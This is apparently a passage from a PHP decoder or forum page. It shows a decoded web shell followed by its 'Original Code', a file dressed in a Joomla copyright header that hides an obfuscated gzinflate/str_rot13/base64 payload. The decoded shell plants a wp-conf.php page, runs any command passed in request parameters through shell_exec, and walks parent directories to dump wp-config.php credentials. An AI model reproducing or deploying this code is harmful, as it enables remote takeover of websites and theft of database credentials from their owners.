vbmZvY3VzPSJ0aGlzLnNlbGVjdCgpIiAvPjwvbGFiZWw+IDxpbnB1dCBpZD0iZ28iIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiAvPjwvbGk+DQogICAgICA8P3BocA0KICAgICAgDQogICAgICBmb3JlYWNoICgkR0xPQkFMU1snX2ZsYWdzJ10gYXMgJGZsYWdfbmFtZSA9PiAkZmxhZ192YWx1ZSkNCiAgICAgIHsNCiAgICAgICAgICBpZiAoISRHTE9CQUxTWydfZnJvemVuX2ZsYWdzJ11bJGZsYWdfbmFtZV0pDQogICAgICAgICAgew0KICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9Im9wdGlvbiI+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iJyAuICRHTE9CQUxTWydfY29uZmlnJ11bJ2ZsYWdzX3Zhcl9uYW1lJ10gLiAnWycgLiAkZmxhZ19uYW1lIC4gJ10iJyAuICgkZmxhZ192YWx1ZSA/ICcgY2hlY2tlZD0iY2hlY2tlZCInIDogJycpIC4gJyAvPicgLiAkR0xPQkFMU1snX2xhYmVscyddWyRmbGFnX25hbWVdWzFdIC4gJzwvbGFiZWw+PC9saT4nIC4gIlxuIjsNCiAgICAgICAgICB9DQogICAgICB9DQogICAgICA/Pg0KICAgIDwvdWw+DQogIDwvZm9ybT4NCiAgPCEtLSBUaGUgbGVhc3QgeW91IGNvdWxkIGRvIGlzIGxlYXZlIHRoaXMgbGluayBiYWNrIGFzIGl0IGlzLiBUaGlzIHNvZnR3YXJlIGlzIHByb3ZpZGVkIGZvciBmcmVlIGFuZCBJIGFzayBub3RoaW5nIGluIHJldHVybiBleGNlcHQgdGhhdCB5b3UgbGVhdmUgdGhpcyBsaW5rIGludGFjdA0KICAgICAgIFlvdSdyZSBtb3JlIGxpa2VseSB0byByZWNpZXZlIHN1cHBvcnQgc2hvdWxkIHlvdSByZXF1aXJlIHNvbWUgaWYgSSBzZWUgYSBsaW5rIGJhY2sgaW4geW91ciBpbnN0YWxsYXRpb24gdGhhbiBpZiBub3QgLS0+DQogIDxkaXYgaWQ9ImZvb3RlciI+PGgyPmlyYy5ibGFja3VuaXgudXMgPC9oMT4gPD9waHAgZWNobyAkR0xPQkFMU1snX3ZlcnNpb24nXSA/PjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=\';
$path3 = $_SERVER[\'DOCUMENT_ROOT\'].\'/\'.\'wp-conf.php\';
if(file_exists($path3)) @unlink($path3);
$content3 = base64_decode($file3);
$txt3 = fopen($path3,"a+");
fwrite($txt3, $content3);
fclose($txt3);
if(isset($_POST[\'command\'])){
$cmd = $_POST[\'cmd\'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET[\'liat\'])){
$comd = $_GET[\'liat\'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($comd)."</font></pre>";
echo "<pre><font size=3 color=#FFF5EE>".shell_exec(\'ls -la\')."</font></pre>";
}
if(isset($_GET[\'yena\'])){
	$p1 = "../../../../../../../";
	$p2 = "../../../../../../";
	$p3 = "../../../../../";
	$p4 = "../../../../";
	$p5 = "../../../";
	$p6 = "../../";
	$p7 = "../";
	$j = file_get_contents($p1."wp-config.php");
	if(!$j) {$j = file_get_contents($p2."wp-config.php");
		if(!$j) {$j = file_get_contents($p3."wp-config.php");
			if(!$j) {$j = file_get_contents($p4."wp-config.php");
				if(!$j) {$j = file_get_contents($p5."wp-config.php");
					if(!$j) {$j = file_get_contents($p6."wp-config.php");
						if(!$j) {$j = file_get_contents($p7."wp-config.php");
							if(!$j) {$j = file_get_contents("wp-config.php");
							}
						}
					}
				}
			}
		}
	}
	echo $j;
	exit;
}
echo "<br><br><center><font size=4 color=#FFF5EE>irc <font size=4 color=#FF0000>blackunix<font size=4 color=white> us<font size=4 color=#FFF5EE> 7000</center></br>";
?>
<link REL="SHORTCUT ICON" HREF="http://www.forum.romanisti-indonesia.com/Smileys/default/b_indonesia.gif"></link><body bgcolor="#000000"></body>'

Did this file decode correctly?

Original Code

<?php 
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */
print(gzinflate(str_rot13(base64_decode('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